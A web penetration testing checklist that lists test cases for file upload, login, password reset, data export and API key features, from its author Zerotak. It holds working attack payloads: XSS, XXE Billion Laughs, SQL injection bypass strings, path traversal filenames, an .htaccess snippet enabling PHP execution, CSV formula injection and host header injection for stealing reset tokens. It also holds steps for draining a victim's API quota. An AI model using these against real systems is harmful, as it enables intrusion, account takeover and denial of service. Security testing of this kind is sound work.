Version: 1.0
Do It Yourself! (DIY) Web Penetration Testing is a guideline in performing security test cases against web applications
The guide is split on web components, each of those contains specific testing steps that could unveil potential vulnerabilities.
Brought to you by Zerotak
😎 Pentesters
😎 Developers who want to strengthen the security of their applications
😎 QA testers who want to include security test cases within their methodology
😎 Security enthusiasts
😎 Everyone else
â›” Those who do not care about the security of their applications
â›” Those who think that they are not a target for cyber criminals
â›” Those who think that their webapps are 100% safe
â›” Those who think they know everything
- Upload file containing JavaScript (XSS) payload - usually HTML extensions
<script>alert()</script>
- Upload PDF file
https://github.com/luigigubello/PayloadsAllThePDFs/blob/main/PDF%20Files/payload1.pdf
- Upload
.SVG, .XML, .XSD, .XMP, .XSLT, .XHTML
Files:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
style="overflow: hidden; position: relative;"
width="300"
height="200">
<image
x="10"
y="10"
width="276"
height="110"
xlink:href="https://google.com"
stroke-width="1"
id="image3204" />
<rect
x="0"
y="150"
height="10"
width="300"
style="fill: black"/>
<script>alert()</script>
</svg>
- Compile and Upload SWF file:
Create an ActionScript file (.as) with the below source code and compile it with mtasc -swf asd.swf -main -header 0:0:0 test.as
(Source: https://github.com/ncannasse/mtasc)
class XSS {
static var app: XSS;
function XSS() {
var xss = "javascript:alert(\"That's a cool XSS\")";
getURL(xss, "_self");
}
static function main(mc) {
app = new XSS();
}}
5.Upload GIF file:
GIF89a/<svg/onload=alert(1)>/=alert(document.domain)//;
- Upload file with XSS payload within its name
image.jpeg -> image'"><script>alert()</script>.jpeg
- Upload file with XSS payload within metadata
exiftool -Comment='"><script>alert()</script> image.jpg
Where to get them from: https://github.com/BlackArch/webshells
Upload .SVG, .XML, .XSD, .XMP, .XSLT, .XHTML
files with payloads
https://github.com/payloadbox/xxe-injection-payload-list
If SYSTEM
entity is restricted, then try Billion Laughs attack for Application Denial-of-Service (DoS)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
- Upload an Anti Malware Testfile - EICAR (will not do any harm if executed, but it is detected by almost all anti-virus vendors) in order to check if there is an anti-virus check before storing the file
Link: https://www.eicar.org/download-anti-malware-testfile/
-
If .EXE is not allowed, try to upload the allowed file extension (e.g. .PDF) with the content of the EICAR file
-
Upload files containing malicious macros (DOCM, CSV, etc.)
- Upload a file within the account/storage of another user
Possible options:
a. Through IDOR (change URL/Data parameters when uploading the file)
b. Through manipulation of the folder where the file is located. Upload file with the following filename:
../bob_folder/image.jpg
- Upload a file with big size or achives containing huge files -> Check for Storage-based Denial-of-Service (DoS) or Overbill if the storage has auto-scaling.
Alternatively, split the file in multiple chunks (image1.jpg
, image2.jpg
, and so on) and upload them
- Upload a file with the name of an existing file -> check if overwritting is possible. Example of an
.htaccess
to allow execution of PHP filerce.php
:
<Files ~ "^\.php">
Require all granted
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php rce.php
-
Check if uploaded file can be accessed without authentication (Missing Authentication) or by other users (Broken Access Controls)
-
Upload file containing a long name -> trigger logical issues or verbose errors
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg
- Delete files uploaded by other users through Insecure Direct Object Reference (IDOR) or Cross-Site Request Forgery (CSRF) with a forged link.
- Set up a listener proxy using Burp Suite
- Upload an allowed file, for example
image.jpg
- Intercept the request
- Modify the following parameters:
Filename
Content-Type
Content of file
Upload a file containing SQLi payloads within its name
image.jpeg' or '1'='1
Check if the metadata is stripped from the file:
exiftool image.jpeg
- Through error message
Invalid Username & Invalid Password:
Username was not found
Valid Username & Invalid Password:
Incorrect password
- Through response size discrepancy:
Invalid Username & Invalid Password: Response size: 20KB
(example)
Valid Username & Invalid Password (same password as above): Response size: 150KB
(example)
- Through response time discrepancy:
Invalid Username & Invalid Password: Response time: 5,000 ms
(example)
Valid Username & Invalid Password (same password as above): Response time: 100 ms
(example)
SELECT * FROM USERS WHERE username = '<user input>' and password = '<password input>';
That is one of the classic and very vulnerable queries for a login page
Insert the following username to bypass authentication: admin' or '1'='1'-- -
- Set up a proxy listener using Burp Suite
- Capture the request sent as a login:
username=zerotak&password=test
- Add another
username
parameter with the target account, for example:username=zerotak&username=admin&password=test
- You will (probably) be logged into the
admin
account. This heavily depends on how the application processes the post-login session.
Check data breaches for any exposed credentials that can be used to compromise accounts. Such platform can be IntelX.io (free trial for 7 days)
If the application hardcodes a value that the user will be redirected after login through a GET parameter (such as ?redirect_url=
):
https://vulnerable-target/login/?redirect_url=https://phishing-website --> For Open Redirect after login
https://vulnerable-target/login/?redirect_url=javascript:alert() --> For Cross-Site Scripting (XSS) after login
Use Burp Suite's Intruder to test if after 100 failed (or another treshold) failed login attempts, there will be accepted a valid login.
- Register an account with blank password -> Null password accepted
- Register an account with
a
or1
as a password -> Missing Password Policy - Register an account with
123456789
orasd12345
as a password -> Weak Password Policy - Register an account with the same username and password (e.g.
zerotak:zerotak
) -> Weak Password Policy - Register an account with
P@ssw0rd
as a password -> Common Passwords Accepted
- Set up your session cookie (unauthenticated) with the value of
pentest
- Log into the application
- Open another browser/computer and insert the session cookie with the
pentest
value - Are you authenticated? If yes, then it is a
Session Fixation
vulnerability
All vulnerabilities and test cases from previous section should be applied here too. Besides those below you will find specific attacks on Forgot Password pages and features.
- Through reset password token disclosed in response
- Through Host Header Injection
Modify the Host:
request header to match your listener's hostname/IP address (Burp Collaborator can be used here). The reset token can be transmitted to your controlled listener.
- Check if the forgot password token can be used after a long period of time (e.g. 1-2 weeks)
- Check if the forgot password token can be still used after its first usage (Missing Invalidation)
Usually, the reset token is provided within the email as a GET request with a corresponding URL parameter. This parameter is a hidden form input within the page. Inject XSS payloads here:
https://vulnerable-target/reset-password/?token='"><img src=x onerror=alert()></img>
- Can you change your password without any password reset token?
- Can you change the password of another account with your password reset token?
- Send a reset password request in the same time for two different accounts owned by you
- Copy and inspect the password reset tokens
- Analyze them for any predictable components. You can take in consideration the following:
timestamp
usernames
email
Check if the password change feature within My Account page contains a check for the Old/Current Password.
Can be coupled with Cross-Site Request Forgery
(One click-interaction account takeover).
GET /change-password/?new_password=<arbitrary value>
Example of request to pull your account's details:
GET /my-account/?userID=1234
Retrieve other account's details:
GET /my-account/?userID=1235
Check if you can tamper with the username
parameter while performing the authenticated password change.
Check the response from the API if it contains more information about your account than the UI. For example, we had a scenario where the API responded with the full password hash of the account.
- Copy your session cookie (authenticated)
- Logout
- Use the previously copied cookie value within the browser
- Are you authenticated?
Same as Login/Register
but the endpoint may differ. The impact here would be higher because there is no additional interaction (if coupled with CSRF).
- Check if the application allows CSV or XLS format export of data contained within its pages (for XLSX is not applicable!)
- Insert a formula through the web application:
=1+1
+1+1
-1+1
@1+1
- Export and check if the formula was reflected in the exported file
For some applications, the export function adds another character in front of the formula (such as a '
). In that case you should insert a separator to bypass the mechanism:
,=1+1
,+1+1
,-1+1
,@1+1
Try requesting multiple exports of huge amounts of information from the application in the same time. Can be done using Burp Suite's intruder functionality.
If the exports are stored Server-Side, please check the File Storage Attacks
sub-section within the File Upload
section.
- Request an export
- The application will download a CSV/XLS file and reflect its name within a GET/POST parameter
- Capture the request (using Burp Suite)
- Change the filename to reference an internal name, such as
/etc/passwd
or an external malicious name, such ashttps://attacker/malware.exe
.
- Navigate through the application until you reach a page where Google Maps are displayed
- Check the requests using Network tab from Browser's Web Developer Tools
- Identify the requests going to
maps.googleapis.com
and capture the value of thekey
parameter (format:AIza...
) - Use the script here: https://github.com/ozguralp/gmapsapiscanner to check if the token can be used outside of the application
- If yes, then you can create an automated script to send a lot of requests using victim's token, in order to consume the quota and potentially produce an overbill
For applications that use a combination of public
and private
API keys, the private
key is disclosed only when the pair is created.
However, you can test if this private
API Key is being disclosed within the response of the application (through the API itself).
- Navigate to the page where the API keys are managed
- Intercept the request
- If the API keys are being created/pulled based on a GET/POST parameter, then interact with that parameter. Example:
API Tokens of User A (attacker):
POST /api-key
userID=1234
Create a pair of API tokens for User B (victim):
POST /api-key
userID=1235
Check if the API keys can be used even after the removal of them from the account.
- Markdown Editor Pages
- Financial-related Functions
- Chat/Messages
- Blog Posts
- Contact Forms
- Users Management Page